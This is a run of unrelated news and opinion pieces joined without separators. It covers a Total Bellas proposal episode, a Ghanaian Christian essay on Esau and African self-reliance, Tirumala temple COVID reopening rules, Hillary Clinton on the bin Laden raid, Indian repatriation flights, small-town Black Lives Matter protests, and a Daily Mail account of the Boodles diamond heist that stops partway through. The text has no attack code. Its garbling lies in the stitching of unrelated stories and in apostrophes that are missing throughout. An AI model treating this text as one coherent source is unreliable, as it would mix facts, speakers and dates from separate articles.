As a cover for the proposal, everyone told Nikki that she and Brie would be celebrating a 'birthday dinner' at the restored 14th century Chateau de Savigney-les-Beaune.

Birthday: As a cover for the proposal, everyone told Nikki that she and Brie would be celebrating a 'birthday dinner' at the restored 14th century Chateau de Savigney-les-Beaune

Artem led Brie and Kathy through a rehearsal of the dinner, hoping they could pull off the ruse.

His brother Anton got a visa at the last minute and joined them, which made the day more special.

When Nikki entered the castle, she picked up a glass of champagne and looked around, joking, 'Where's the full-piece orchestra?'

Joking: When Nikki entered the castle, she picked up a glass of champagne and looked around, joking, 'Where's the full-piece orchestra?'

As Artem took her on a 'tour,' he said in voiceover, 'I love Nicole. I absolutely adore her. She's extremely genuine, she's very, very thoughtful, extremely funny. She is the one.'

'Trust me, I've thought about this speech for a long time,' he added. 'You want things to be perfect.'

After Artem's flawless proposal, the families rushed in and everyone hugged, with Artem's mother Anna crying.

Perfect: 'Trust me, I've thought about this speech for a long time,' he added. 'You want things to be perfect'

Family: After Artem's flawless proposal, the families rushed in and everyone hugged, with Artem's mother Anna crying

As her son translated, she told the Bellas that she was grateful for their presence in his life, as she had worried about him since he left home.

His father, Vladmir, said he would be very happy if Artem and Nikki expanded the family.

Nikki told the cameras that she felt 'like a queen,' and as though she were dreaming.

Expanded: His father, Vladmir, said he would be very happy if Artem and Nikki expanded the family.

She called it 'the best birthday ever,' then accidentally fell down the castle's stairs, to be picked up by her new fiance.

Back in the U.S., Brie told Brian that she thought she might be pregnant, and she took a pregnancy test, feeling like it was 'a good time for a baby to come into our lives.'

Sure enough, the test came up positive, and the two of them were thrilled.

Birthday: She called it 'the best birthday ever,' then accidentally fell down the castle's stairs, to be picked up by her new fiance

Test: Back in the U.S., Brie told Brian that she thought she might be pregnant, and she took a pregnancy test, feeling like it was 'a good time for a baby to come into our lives'

Over coffee later, Nikki told Brie that when they were at their yoga class that week, she couldn't stop visualizing taking a pregnancy test.

Brie then revealed her news, saying, 'I'm excited because it's meant to be, and I'm nervous because it's been hard for me with one. Brian and I are going to figure it out.'

'So crazy you're on baby number two, and I'm on zero,' Nikki observed.

'You want a baby?' Brie asked her, as Nikki returned, 'I don't know.'

Total Bellas returns next week on E!

Visualize: Over coffee later, Nikki told Brie that when they were at their yoga class that week, she couldn't stop visualizing taking a pregnancy test
The recent flare of anger against racism has metastasized from the United States of America to include Africa and other European countries. This evening, a group of protestors in Birmingham also embarked on a demonstration to challenge subtle racism in the United Kingdom.

Yesterday, I did indicate that racism is a challenge of the heart. Consequently, for the world to overcome the snare of racism, we must honestly answer the question: "How do I love someone who is not like me?"

In other words, how do we bridge cultural  and less of biological  gaps among people in the world? To answer this question, I argued that we need a radical transformation of the heart. This is precisely because doses of education will only defer racism to a period when it is convenient to pull it out. In the same way, institutional reforms will go as long as people do not feel stressed to pull the racial idioms. I concluded that it will take the transformative work of the Gospel of Jesus Christ to free the world from the heavy yoke racism.

Today, I have been reflecting on the account of Jacob, Esau, and their father Isaac, as recorded in the book of Genesis, focusing on chapter 27. In chapter 27 of the book of Genesis, we read about Isaac counting on his son Esau to give out his (Isaac) last blessing, as Isaacs exit from the material world drew near.

As part of fulfilling cultural demands, he decided to transfer the patriarchal blessing to his oldest son  Esau, who was senior to Jacob (even though they were twins). Isaac was doing this against the fact that prophecy had indicated that Esau was going to serve Jacob. Incidentally, the prophecy did not tell how Jacob was going to exercise dominance over his elder brother. It is, therefore, plausible to conclude that Isaac was performing what custom demanded.

But he had to bless in love. In many cases, we bless out of love. If I bless my children, it is because I love them. So, for Isaac to bless Esau, Isaac had to first rekindle his love for his son. And since food is central to human beings  especially as a bio-cultural construct  Isaac requested for his favourite food to be supplied him. And since it was the primary occupation of Esau to hunt for meat, Isaac charged Esau to prepare food for him. The food was expected to be the favourite meal of Isaac. In response, Esau went straight into hunting to get his fathers request. It is possible that Esau invested in the hunting and cooking his fathers meal because Esau wanted to redeem his birth-right, which he sold to his younger brother.

While Esau was away, Rebecca sneaked in to supplant the blessing that was due Esau. She conspired with her son, Jacob, to rob Esau of his (Esaus) blessings. In the end, Jacob succeeded in supplanting his brother. Isaac tried to detect the fishy deal that was going on, but he was too old to have understood the joint conspiracy of mother and son. In the end, Isaac ended up blessing Jacob, instead of Esau.

Esau returned from the field with his fathers food only to realise that his younger brother had outwitted him for the second time. He was justifiably angry. But he still pleaded for his fathers remaining blessing. He asked whether his father could reproduce the blessing. He framed this as follows: Do you have only one blessing, my father? Bless me too, my father! Then Esau wept aloud (Genesis 27:38). Esaus exasperation was also because he had been made subservient to his young brother. He was going to serve his younger brother. The flow of life had been turned upside down for Esau.

But as he persisted in urging his father to reproduce his (Isaac) blessings, Isaac told him a statement that is perhaps more important than the blessings Esau lost to his brother. The statement was, You will serve your brother. But when you grow restless, you will throw his yoke from off your neck (Genesis 27:40b). My interest in this statement is the adjective of time, "when" that Isaac used. My understanding is that Isaac did not see Esau's challenge as fatalistic. He also did not see it as a challenge that would continue in perpetuity. This means his servitude to his brother was time-bound. But it was not just time-bound, it was based on what Esau did. Isaac told Esau that Esau needed to become "restless". The issue of restlessness is important because the blessing pronounced on Jacob had made Esau the bearer of the yoke of Jacob. Esau must feel restless. He must feel the pain of being a servant. He must endure to break free from his brothers bondage.

It is important to highlight that Esau was also responsible for losing his blessing to his brother. He sold his birth-right to his brother in a very difficult circumstance. He was hungry. He was at the verge of death. And since he needed food to survive, he did not see the importance of birth-right when he would not even live long enough to enjoy the benefits associated with birth-right. Contrary to what most people think, Esau did not sell away his birth-right cheaply. But it is also true that he was not foresighted enough when he sold his birth-right. He did not learn to persevere. He sacrificed his future for temporary benefit. He did not become restless to go look for his own food. In the end, his sense of restlessness was dulled and numbed. He sold his birth-right. To regain his birth-right, he needed to be restless. He needed to feel the need to be free. This is because ones restlessness implies one becoming uncomfortable with ones predicament.

Esau took his fathers wise counselling. He went into hard work. He learned his lessons. He learned to endure. He became prescient. In the end, he became successful. Jacob had also become successful. But as Jacob was returning to meet his brother Esau, Jacob was wondering what Esau would do to him. He taught that his brother Esau was floundering in poverty. So, he decided to pacify his brother with the enticement of gifts. But Esau was so wealthy that he did not need anything from his brother.

Esau told Jacob when they met that, I already have plenty, my brother. Keep what you have for yourself (Genesis 33:9). Because Esau had worked hard to break his brothers yoke on him, when he met Jacob, he had forgotten about how Jacob supplanted him. There was, therefore, no need for tension or fighting. If Esau was poor by the time he met Jacob, Esau would have possibly blamed his brother and killed him in the process.

Africa's story is not markedly different from Esau's. As a people, we conspired in selling our own kin and kith into slavery. We exchanged human beings to satisfy temporary and mundane needs. Slave trade thrived and survived in Africa for long because some of our political elites became greedy and were interested in satisfying their interest. They sacrificed the future of the continent to satisfy their immediate needs.

They did not realise that the continent had the birth-right in many ways. One of the birth-rights of the continent of Africa is the fact that it is the breadbasket of the world. The continent of Africa is also blessed with potential resources that could meet the needs of the entire human race. But in the face of self-aggrandisement, Africa sold its birth-right to others.

Consequently, Africa has borne the burden of selling its birth-right to the rest of the world. As I write, many African leaders still go about begging for the crumbs that fall from the table of other continents. Some of our leaders cheaply sell the birth-rights of the continent to the rest of the world. Lands in Africa are being grabbed by other people. In Ghana, some Ghanaians, including chiefs, have connived with some Chinese expatriates to do illegal mining (labelled as Galamsey). Through illegal mining, our water bodies have been significantly polluted. Elsewhere in Africa, the Chinese are grabbing lands for agricultural activities to feed China. Africa has become a continent that dwells in a paradox: it is the richest and yet the poorest.

In the face of all this, the important question to ask is: Is Africa becoming restless? It is only when we become restless that we will break free from the yoke of the control of other continents of the world. Until we break free from the yoke of the rest of the world, the tension between us and the rest of the world would continue to persist. We must be restless. We must work hard. But we should not just be restless. We must have a kind of restless that is purposive. In other words, it is not just enough shouting that we are not inferior. It is not just enough demonstrating on the street against racism. We need to direct our anger into productivity.

In 2007, James Watson the Nobel-winning biologist, James Watson, drew global criticism when he claimed that Africans are inferior-minded people. Just like the response that met with the murder of George Floyd, Watson was condemned by his own colleague scientists. In Africa, we shouted and condemned him. But since 2007, we are still heavily dependent on the West. We still look up to the West for our redemption. This is not to say that Africa has since the beginning of time not produced top scientists. The challenge is that most of our scientists blaze the trail in continents other than Africa. Very few African scientists have made a name for themselves by engaging in experimental science on the continent. We need to be restless to build our laboratories to produce our home-grown scientists.

For us to be restless, we must learn to do things for ourselves. We cannot control how the West or East profile us. But we have control over how we respond to racial profiling. Our response to racial profiling is about whether we approve it or negate it. But certainly, it is not by merely shouting and demonstrating. If after ranting, shouting, roaring, and demonstrating, we still live under the sufferance of the rest of the world, we would still not be free from the yoke.

As a Zongo young man, coming from Maamobi  urban slum in Accra, I knew I had some challenges. Those of us from Zongo had been profiled as criminals and drug addicts. In school, we are jeered at. The challenge I had was to either fulfil the profiling or work hard to challenge the profiling. By Gods grace, I have achieved some successes in my academic pursuit. I graduated with unprecedented First Class in B.A. African Studies from the University of Cape Coast in 2008. In 2010, I also received an award for academic excellence at the Institute of African Studies, University of Ghana, where I studied for my Master of Philosophy. I have a few academic articles to my credit.

Breaking the yoke of profiling was not easy. I had to do my first degree and masters degree without a laptop or computer. My twin brother, Kofi Semanu Atsu Adzei, and I had to print copies of books on credit basis. We benefitted from the benevolence of Auntie Gladys, who runs her business "Acadec" at the Mathematics and Statistics Department of the University of Ghana. Breaking free from the yoke was not a child's play. I spent lots of sleepless night reading. Coming from Maamobi where noisemaking was almost the norm, I had to wait till deep into the night when virtually most people had gone to bed before I read. I have also combined learning and working since when I was at the age of 10 years. Breaking the yoke is difficult. But we cannot kowtow to your yoke.

For Africa to break free from the yoke, we need leaders and followers who are ready to sacrifice temporary comfort for long-time gain. In the West, some individuals had to lay down their lives for their gains today. Reading J.C. Ryles book, Christian Leaders of the Eighteenth Century, one gets the sense of how some individuals were intentional about transforming the economic and social life of England. The English were intentional about their development. The Americans were intentional about their development. The late industrialised countries in the East were intentional about their development. Africa needs to be intentional about its development. This implies that we have to go beyond shouting and demonstrating on the street. We have to walk our talk. We have to take our fate into our hands and in the Hands of the Triune God. We must be intentional.

We are not fated to be the drawers of water and hewers of stone forever. That is why the condition is "when we become restless." We need to become restless and eschew corruption, self-hatred, and envy. We need to be restless of all the things that impede our socio-economic development. Until we are restless, we will continue as the scum of the earth. No amount of solidarity from other "races" will redeem us until we become restless. There is a lot to keep us restless: poverty, unemployment, conflicts, famine, ethnocentrism, corruption, diseases, illiteracy, religious fanaticism, and so on. These are some of the things that will be with us for long until we become restless.

I pray that we will become restless and break the yoke of self-imposed servitude.

Satyagraha

Charles Prempeh ([email protected]), African University College of Communications, Accra
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Tirumala: The temple management of Tirumala Tirupati Devasthanams (TTD) is all set to reopen the doors for darshan of Sri Venkateswara Swamy from June 8 onwards, after a span of 80 days due to coronavirus restrictions, said TTD Trust Board Chairman YV Subba Reddy.

The TTD Board Chief along with TTD Executive Officer Anil Kumar Singhal, Additional EO AV Dharma Reddy, and Tirupati JEO P Basant Kumar, elaborated on the arrangements and measures taken up by TTD in view of the recommencement of darshan from Monday onwards while addressing media persons here at Annamaiah Bhavan on Friday.

The key points of the interactions are:

1. Ever since after the closing of darshan for pilgrims on March 20 to avoid the spread of COVID-19 in Tirumala, TTD is resuming Srivari darshan at Tirumala which will commence on an experimental basis from June 8 onwards.

2. Everyday darshan will be between 6:30am and 7:30am with 500 pilgrims alone allowed for darshan in each hour.

3. Initially, on a trial basis, the darshan will be provided to the employees of TTD and their families who shall book darshan slots using the Intranet facility on June 8 and 9. for this the employees have to book their darshan slots on June 6 and 7. Following the guidelines by GOI, 65 years and above old senior citizens and below 10 years old children are barred from darshan.

4. On June 10, time slot tokens will be issues to Tirumala locals @ 500 persons per hour in the Time Slot Token Counters at Tirumala.

5. From June 11 onwards, 3000 numbers of Rs 300/- darshan tickets will be issued to devotees in on-line. The online quota for booking will be available from June 8 onwards.

6. Those who are coming in Villages or rural areas shall also have to book darshan tickets in online. However, the Gram volunteers will be trained on simple steps to book the tickets so as to assist the villagers to book darshan tickets. TTD is already negotiating with Collectors of all districts and Commissioners of Panchayat Raj with a request to orient Gram Volunteers.

7. Similarly, daily 3000 Sarva darshan tickets are issued at the SSD counters located in Tirupati.

8. VIP break darshan will commence from June 11 onwards. Every day the VIP break will be between 6:30 am and 7:30 am and will be given to only Self Protocol VIPs only and no recommendation letters will be entertained.

9. Keeping in view the safety of the pilgrims, only the Alipiri walker's path remains open from morning 6am till 4pm while Srivari Mettu remains closed. On devotee security grounds then Srivari Mettu footpath.

10. Both the Ghat Roads remain open from 5am till 8pm as the COVID 19 curfew is being observed between 9pm and 5am.

11. Only the darshan of the main deity is allowed. Subtemples including Vakulamata, Bhasyakarula Sannidhi, Yoganarasimha Swamy is dispensed with for the time being.

12. Devotees will not be allowed to enter Swamy Pushkarini as per existing COVID guidelines. No Theertham and Shatari will be given.

13. Devotees will be provided with herbal hand sanitizers near Srivari Hundi to prevent the spread of the virus through hundi cloth.

14. Every Devotee who enters Alipiri with Darshan ticket has to invariably undergo Thermal scanning, vehicle scanning, and hand sanitization at the Alipiri toll gate.

15. Accommodation in Tirumala will be organised on alternate (Odd-Odd, Even-Even) mode to pilgrims and only two persons per room will be allowed to stay in Tirumala only for 24hours. No extension of rooms will be provided. A 12-hour gap for re-allotment of rooms will be maintained and sanitization of rooms will be carried out for every two hours. Room allotment in Tirupati is also on the same lines.

16. As the marriage season is in offing, following the GOI norms only fifty persons will be allowed to perform marriages in TTD marriage halls at Tirumala only after approval by the health officer.

17. Non-stop announcements on the Dos and Donts, COVID 19 measures, guidelines to be followed in Tirumala viz. wearing masks, using hand sanitizers and maintaining social distancing will be carried out in Telugu, Tamil, Kannada, Hindi, and English at Alipiri footpath, Tirumala, accommodation areas, both SED and SSD entry points in Tirumala for the awareness of the.

18. Matrusri Tarigonda Vengamamba Annadanam Complex alone will be functional for the time being from 8am till 8pm. Hoteliers and shop keepers in Tirumala will be oriented on how to deal with social distancing and other guidelines

19. PPA kits are set ready for Health workers, vigilance, Srivari Sevakulu, and Kalyanakatta Barbers who have more interface with the pilgrims. Huge reception from pilgrims all over the state and from Bengaluru and Hyderabad information Centres over the sale of Srivari Laddu prasadams.

20. Covid-19 Random tests will be conducted on 200 devotees and employees every day. Special Covid-19 testing and sample collection centres have been set up at Alipiri and Aswini Hospital in Tirumala. Corona Testing Laboratory is also set up at SVIMS hospital Tirupati exclusively for benefit of Devotees and Employees.

21. The devotees have to sign Declaration at the Alipiri stating that they have to adhere Central and state government COVID 19 guidelines if in the case they tested positive after the tests.

22. Devotees located in the containment zones are advised not to book any online darshan tickets. Devotees from other states who booked online tickets should observe all COVID-19 guidelines prescribed by the respective state governments. They should also note that darshan tickets are not an entitlement to enter into the state.

The Lord Balaji Temple at Tirumala was closed for general devotees in the wake of the announcement of countrywide lockdown due to the COVID-19 pandemic. On May 30, the central government announced that temples can be opened.

The three-day-long Jyeshta Abhishekam celebrations have started at Lord Balaji temple.
Washington:

Ahead of the 15th anniversary of 9/11, former secretary of state and Democratic presidential nominee Hillary Clinton said going after al-Qaeda leader Osama bin Laden into Pakistan was "not an easy choice".

"I was part of the small group advising President (Barack) Obama whether or not the intelligence we had was good enough to take a chance, to go deep into Pakistan, to try to finally bring Osama bin Laden to justice.

"It was not an easy choice by any means," Clinton said at an election rally in North Carolina. "These never are." "That's why who sits at the head of that table in the situation room has to be able to sort out fact from opinion, has to be able to ask the hard questions, pursue even the most difficult leads," she said on Thursday giving an insight into the May 2, 2011 killing of Osama, the 9/11 mastermind, in a US military operation at his hideout in Abbottabad in Pakistan.

Her comments came three days before the 15th anniversary of the al- Qaeda attack on the twin towers in New York that killed more than 3,000 people, resulting in the US invading Afghanistan. "We went through that hour after hour after hour and then the president went around the table asking each of us what we advised. And we were split because it was not some kind of easy layup.

I believed it was strong enough that we needed to take action and I supported taking action that would determine whether or not we were successful. That meant sending in special forces," said the 68-year-old former secretary of state. "Now, you know what happened. I was in that Situation Room watching that day.

The most stressful 30 minutes of my life probably. Because you remember one of the helicopters nicked - clicked on - hit its tail on the wall going into the courtyard and became disabled. "That meant -- thank goodness there were good contingency plans, but you had to get another helicopter in to take out the SEALs who would no longer be able to fly out on that one," she said, describing the event of the day.

"But here's what I want to tell you because it is a story that, to me, illustrate our values in such a clear, unambiguous way. You've heard Donald Trump say he would order our troops to torture. You've heard him say he would order our troops to kill family members of terrorists.

You would know that he was advocating illegal actions against our own laws, as well as the laws of war. "Thank goodness there's a code of honour in our military stronger than the bluster and the bullying of Donald Trump because here is what happened on that night," she said amid applause.

Meanwhile, Trump, the 70-year-old real estate tycoon, claimed Osama would have been caught long ago had he been in power.

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Over 1.07 lakh stranded Indians have returned to the country from abroad since the government launched the 'Vande Bharat' evacuation mission on May 7, the Ministry of External Affairs said on Thursday. It said the government has started preparation for the third phase of the mission after completion of the second phase of the evacuation on June 13.

"Around 38,000 persons are expected to be repatriated under this phase in 337 international flights from 31 countries," External Affairs Ministry Spokesperson Anurag Srivastava said. In the first phase of the mission from May 7 to 15, the government evacuated around 15,000 people from 12 countries. The second phase of the evacuation mission was scheduled from May 17 to 22. However, the government has extended it till June 13.

Air India has operated 103 flights under the second phase to bring back stranded Indian nationals from abroad, Srivastava said, adding the Indian Navy has also made sorties to bring back Indians from Sri Lanka and the Maldives. "After the commencement of the Vande Bharat mission on May 7, a total of 454 flights, including foreign carriers, have brought back stranded Indians. As of date, 1,07,123 Indians have returned," he said.

Those who have returned to India included 17,485 migrant workers, 11,511 students and 8,633 professionals. He said over 32,000 Indians have returned through land border checkpoints from Nepal, Bhutan and Bangladesh.

A total of 3,48,565 people registered requests with Indian missions for repatriation to India on compelling grounds. As per the government's policy for evacuation, Indians having "compelling reasons" to return like pregnant women, elderly people, students and those facing the prospect of deportation are being brought back home.

The MEA spokesperson said the third phase will cover more sectors and will create additional hubs in remote regions.

Also read: COVID-19 effect: Consumer confidence plunges in May; GDP likely to contract by 1.5% in FY21, says RBI survey
Jamel Burneyborn and raised in Olean, N.Y.knows you dont need to live in a major metropolitan area to be heard.

As protests decrying the killing of George Floyd have raged across the country, Burney wanted to show solidarity. He expected just a handful of people to show up to a protest he helped put together on Sunday near Oleans major intersection. But Burney was shocked to see at least 300 people turn up in the small city, which is located more than five hours northwest of New York City and has a population of nearly 14,000, 90% of whom are white. Hundreds more people showed up to another protest on Wednesday evening.

This is a new thing, Burney, 23, tells TIME. It was the first time we all came together for something like this. Its important because we live in a small city. We have a right that we get to exercise.

Courtesy of Jamel Burney

Protests have grown widespread across the countryand, like in Olean, prompted a huge turnout in smaller cities and rural communities throughout the U.S. Demonstrations in support of Black Lives Matter and calling for an end to police brutality have been held in all 50 states, from the boroughs of Pennsylvania to rural Texas. More than 580 cities or towns have held protests, according to a tally from USA Today.

Many demonstrationslike a protest held Saturday in Bend, Ore., or ongoing protests in Elmira, N.Y.have been organized or driven by young people of color living in those areas who want to show their communities they wont stand for racism or police violence. In sparsely populatedand mostly whiteplaces, people coming out in large crowds is significant, according to Lara Putnam, a historian at the University of Pittsburgh who studies grassroots organizing.

Whats striking is both communities of color are stepping forward in outrage and saying we cant let this keep happening, Putnam says. But also, theres a young generation of white people who see that vision and are being mobilized to no longer just treat this as somebody elses problem.

Story continues

This show of solidarity tracks with a general shift toward acknowledging that police officers are more likely to use more force on black people than white people. A June 2 Monmouth University poll found that 49% of white Americans say police will use excessive force against a black suspect, a jump from the 25% who gave the same answer in 2016.

These protests in small cities and suburban towns are thanks to the quick organizing work of many individuals, who have flooded social media directing people to the next demonstration and held ongoing conversations about how to take action. Jessie Selph, 23, who organized the Olean demonstration with Burney, says a lot of the planning occurred on Facebook, where she was surprised to see an enthusiastic response. As with many organizers behind other protests, Selph, says she was focused on keeping peace during the protests so as not to take away from their central message.

Smaller communities can lead by example, Selph says. Its beautiful to see everyone come together in unity. Everyone feels alone, and youre not alone in these situations anymore.

This is in our own backyard

Courtesy of Lisa Roberts

The widespread demonstrations also call attention to the racism and police misconduct that exists in smaller towns.

We need to realize this is in our own backyard, says Lisa Roberts, a biracial resident of Greensburg, Pa., a small city outside of Pittsburgh with a population of about 14,000, about 89% of whom are white, with just over 6% black people. Roberts cites a recent racist incident: in May, a councilman from Southwest Greensburg called another man the N-word during an investigation over a dog fight, an altercation cited in a police report and covered in local media. Its not just in big cities.

Roberts collaborated with a teenager in the area to put together a protest last Sunday after she explained how Floyd died to her 13-year-old son, who is black and autistic. He sat there thinking about it and he said, What if Im next? I didnt have an answer for him, she says. 

Hundreds of people marched together in Greensburg and then laid face down on the ground with their hands clasped behind their backs for about nine minutesto mark the amount of time Chauvin held Floyd down before he died. Just laying there was tough to do. I didnt have a knee in my neck, my hands werent cuffed. But it makes you realize what [Floyd] went through and what so many others go through, Roberts says. I know were just Greensburg and 200, 300 people is nothing. But for this area? Its big.

In central-eastern Pennsylvania, where counties that vote blue are often sandwiched between heavily Republican territories, police brutality and racism are nothing new. Ashleigh Strange, regional organizer with Lehigh Valley Stands Up, a grassroots group based in Allentown, Pa., says people have repeatedly come out to protest because theyre tired of officers killing and hurting their community members.

This is happening in all of our cities. Just because somebody doesnt become a hashtag doesnt mean its not happening, Strange says. She notes several incidents from recent years in Allentown and surrounding areas where police officers have fatally shot and tased citizens. Were out here because of what happened to George Floyd and Breonna Taylor and Tony McDadenot just for them but because weve seen it here.

They were telling us to go back home

These protestslargely peaceful demonstrationshave received less national attention than some of the larger gatherings, where violence has broken out. Still, smaller town protests are frequently fraught, with members of the community opposing demonstrations and some local police departments using violence with protestors.

For Adriana Aquarius, whose voice has gone hoarse from protesting every day since Saturday throughout central Oregon, demonstrating means showing up in areas where black people and people of color are often in the minority and dont feel supported. After organizing a protest in Bend on Saturday, Aquarius, 21, was moved the next day to bring people to the nearby town of Prinevillea more conservative area of the statewhere a local organizer was trying to put together a small protest despite receiving multiple death threats.

Aquarius says a group opposing the protests showed up armed in Prineville, shouting racist slurs at the nearly 200 people who showed upreminding her of what it was like to grow up in the region, as one of the only black kids in school.

They were telling us to go back home. Telling us we were thugs, she says. I live in central Oregon. There arent many people of color here. My allies were white, Mexican and Native Americanwe were all races. But they still decided to attack black people.

At the protests, Aquarius has made an effort to have conversations with the people who dont want her on the streets, to varying degrees of success in getting them to understand why its important to call attention to the continued effects of racism in the U.S.

I am just sick of seeing all this violence and all this pain go on, she says. Why is this necessary? Im listening to my community and Im projecting their voice.

That hits a different way

That people are banding together against racism in rural areas and small citiesparticularly in places where black people and people of color often live in isolationsignals a willingness among a new generation of white people to fight for everyone, according to Putnam. While many of the protests have been organized by young black activists and people of color, the gatherings springing up in smaller communities typically reflect the majority white demographics of the 18-to 22-year-olds in those areas, she says. In communities where people tend to be more tight-knit, the impact of protestors can go far, Putnam says.

Beautiful night in Round Hill, VA, attended by a few hundred neighbors, to Shine a Light on Racism including 8 min 46 sec of silence, and words shared by all ages and races. #blacklivesmatter pic.twitter.com/dVXtcCtaxC  Melissa Laverty (@MelissaLaverty) June 4, 2020

If you only see protests through the lens of Fox News or whatever sensationalized broadcast, maybe youre only going to see mayhem and violence, she says. But when its kids from down the block who are standing out alongside other kids in your community, that hits a different way. Having someone local say Black Lives Matter  thats powerful because it keeps the most polarizing effects from kicking in.

Seeing white demonstrators help out the movement gives Aquarius some hope. And when an opposition forms at demonstrations, it helps to have white allies around to protect black protestors.

If my voice isnt loud enough, a white persons voice is going to be because it has been for the past 400 years, Aquarius says. I almost expected people to say we should chill out, because thats how its always been, but instead they were hyping us up.

Danielle Michel, 33, an Olean resident who attended Sundays protest, says white people need to show up, especially those in less populated areas.

Were doing this as an act of solidarity, she says. And in a rural community where people are going to live  that lie that racism doesnt happen here  its important that other white people are holding the citizens of that community accountable.

We have to fight this every single day

Hundreds, many wearing masks, are in Petal, Mississippi protesting against racism and for Mayor Hal Marx to step down because of his comments about George Floyd ("If you can talk, you can breathe.")



Peaceful, but there are many police officers here, some from other counties. pic.twitter.com/Um4npiZs5j  Ashton Pittman (@ashtonpittman) May 29, 2020

Protests are continuing in cities everywhere. More than 10,000 people have been arrested in demonstrations, according to the Associated Press. Teenagers and young adults, particularly queer people and people of color, organizing protests are doing so to right the wrongs they have seen or experienced for years, according to Strange, who has helped various college students in the Lehigh Valley region channel their anger and pain into action. Young activists, she says, are tired of everything: the violence, yes, but also having their demands about reducing the power of police ignored by politicians for years. They want to continue the fight on the streets, Strange says, rather than become hampered in discussions and debate over whats right.

For people of color, its just Groundhog Day. We have to live this, we have to fight this every single day, Strange says. Somethings gotta give. These kids, if they hear someone shouting in the street, they run out. Theyre being heard.

Aquarius is moving ahead at full speed, helping to organize protests in other parts of Oregon for the coming weekend. She wants people who oppose the protests to think about what they would want for their children, to consider how her parents might feel about having a black child out in the world and to take a step back from being the center of attention. She has two younger sisters and nieces and nephews who are childrenthe time to stand up for their futures has come.

Now is our moment, she says. Let us use our voice.
At society jeweller Boodles, diamonds are a girls best friend.

Or as its managing director Michael Wainwright once told a TV documentary: A lot of girls like diamonds and some girls absolutely adore them and those are the girls we are after!

One such girl arrived at the 200-year-old firms Bond Street headquarters at 11.09am on the morning of Thursday, March 10, 2016.

The headquarters of society jeweller Boodles (pictured) was the victim of a staggering jewel heist in 2016 which saw 4.2million worth of diamonds stolen

The intrinsic plan, most of which took place in London, is studied in great detail by the Mail

She wore a dark coat, silk scarf and designer hat, and spoke with a thick French accent. Her name, she said, was Anna, and she was a gem expert hoping to inspect seven large diamonds on behalf of a wealthy Russian whod agreed to buy them for 4.2 million.

Anna was escorted into a basement showroom by Michaels brother Nick, the silver-haired chairman of Boodles who is renowned in moneyed circles both for his brilliant salesmanship and salmon-pink socks and ties.

A week earlier, hed travelled to Monaco to negotiate the transaction with Annas boss, who went by the name of Alexander, and a second gentleman who had set up the meeting, called Simon Glas.

Exactly 56 minutes later, having declared herself happy with the jewels, Anna bid au revoir and walked out of the store onto New Bond Street.

She left behind the diamonds, including a stunning 20-carat heart-shaped sparkler worth 2.2 million and measuring roughly the size of a Foxs glacier mint.

A woman named Anna (not pictured), pretending to be a gem expert hoping to inspect seven large diamonds, carried out the impressive and complex heist

They had been placed in a padlocked pouch that Anna had brought with her and returned to Mr Wainwright, whod then proceeded to lock them carefully away in the stores safe.

Or so he thought.

In fact, Anna had just carried out one of the most audacious heists in criminal history, using extraordinary sleight of hand to secretly swap the bag of gems for worthless pebbles packed in an identical pouch.

It would later emerge that shed hidden the real stones in a secret compartment in her handbag, and spirited them out of the boutique.

Details of the extraordinary scam were made public at Southwark Crown Court this week, where one of the glamorous womans accomplices, a 27-year-old Frenchman called Mickael Jovanovic, was jailed for three years and eight months, following a painstaking Scotland Yard investigation spanning three years and multiple countries.

Details of the heist were revealed by 27-year-old Frenchman called Mickael Jovanovic (pictured) following a Scotland Yard investigation spanning three years and multiple countries

Philip Stott, prosecuting, described the theft as being of the highest possible sophistication, planning, risk, and reward.

The court papers chronicling what was the largest-value single incident of shoplifting in British criminal history have variously compared it to the plots of an Oceans Eleven film, the Peter Sellers Pink Panther movies and the 1981 film Raiders Of The Lost Ark, in which hero Indiana Jones replaces a valuable golden idol with a bag of sand.

Yet the gang who pulled off this elaborate 4.2 million sting may instead have been inspired by a rather more prosaic piece of film-making  as the Mail discovered this week.

Sources with knowledge of the crime, and subsequent investigation, tell me they believe it was actually inspired by a 2014 Channel 4 fly-on-the-wall documentary called The Million Pound Necklace: Inside Boodles, which offered a privileged peek behind the scenes of the family-owned firm.

The show not only familiarised viewers with the extraordinarily valuable stock handled on a daily basis in the firms nine stores, revealing that their range includes a single suite of emerald jewellery worth 2.8 million, but also introduced them to the Wainwrights, who were wooed by the gang before and, of course, during the heist.

Crucially, it also showed that executives were in the habit of travelling to Monaco, where they were later courted by Annas accomplices in order to woo clients at cocktail parties and red-carpet events.

And, perhaps helpfully for the perpetrators of the heist, the documentary provided insight into the network of diamond dealers and other contacts from around the world who help Boodles source their valuable raw materials.

Like many of these programmes, the Channel 4 doc was quite jaunty, and gave the impression that Boodles was run by a family of slightly bumbling posh Englishmen, says an insider.

Criminals watching might very well have concluded theyd be an easy mark, especially since the show also gave them all sorts of important information about the Wainwrights and what makes them tick.

To understand how the heist was carried off, we must travel back to February 2016, roughly 18 months after Inside Boodles first aired.

One day that month, Nick Wainwright was contacted out of the blue by the aforementioned Simon Glas, who according to court papers claimed to be the business associate of someone [he] knew.

Glas said he was interested in purchasing high-value diamonds as an investment, and over the ensuing days managed to convince Mr Wainwright to travel to Monaco for a face-to-face meeting with a group of investors. He met three men, including the aforementioned Alexander, who was posing as the prime mover.

A deal was then struck whereby the group would buy seven specific diamonds. However, to verify that they were the specified size and quality, the Russians asked for their gemmologist to be allowed to inspect the stones at the Boodles HQ on New Bond Street.

Under the arrangement  believed to be relatively common in the diamond trade  the stones would be inspected and then placed inside a bag which the gemmologist would then padlock shut so that its contents could not be tampered with.

The bag would subsequently be kept by Boodles until the store received a 4.2 million bank transfer from the purchaser, at which point it would be handed over.

Its not the sort of deal Boodles normally do, but Nick [Wainwright] took the view that this was a very good price indeed for those seven diamonds, says a source with knowledge of the case.

He thought the Russians were seriously over-paying, and had more money than sense. Perhaps that rather blinded him to the fact he was being taken for a ride.

And so a trap was set. The ensuing heist then required impeccable choreography and intricate timing.

It began on March 7, when a gang member called Christophe Stankovic  who like most of his accomplices is a French national of Albanian heritage  rented a Citroen DS4 hatchback at Charles De Gaulle airport outside Paris.

Two days later, he and Jovanovic drove to the UK via the Channel Tunnel, entering Kent at 1.15pm. They then checked into the Best Western Hotel in Ilford, Essex, with two female accomplices.

Christophe Stankovic, a gang member involved in the heist, rented a Citroen DS4 hatchback in Paris and then checked into the Best Western Hotel in Ilford, Essex (pictured) with two other accomplices

On the other side of London that afternoon, Anna and another woman, whose identity is unknown, arrived via train from Paris and travelled to Kilburn in North London, where they checked into the budget Cricklewood Lodge Hotel.

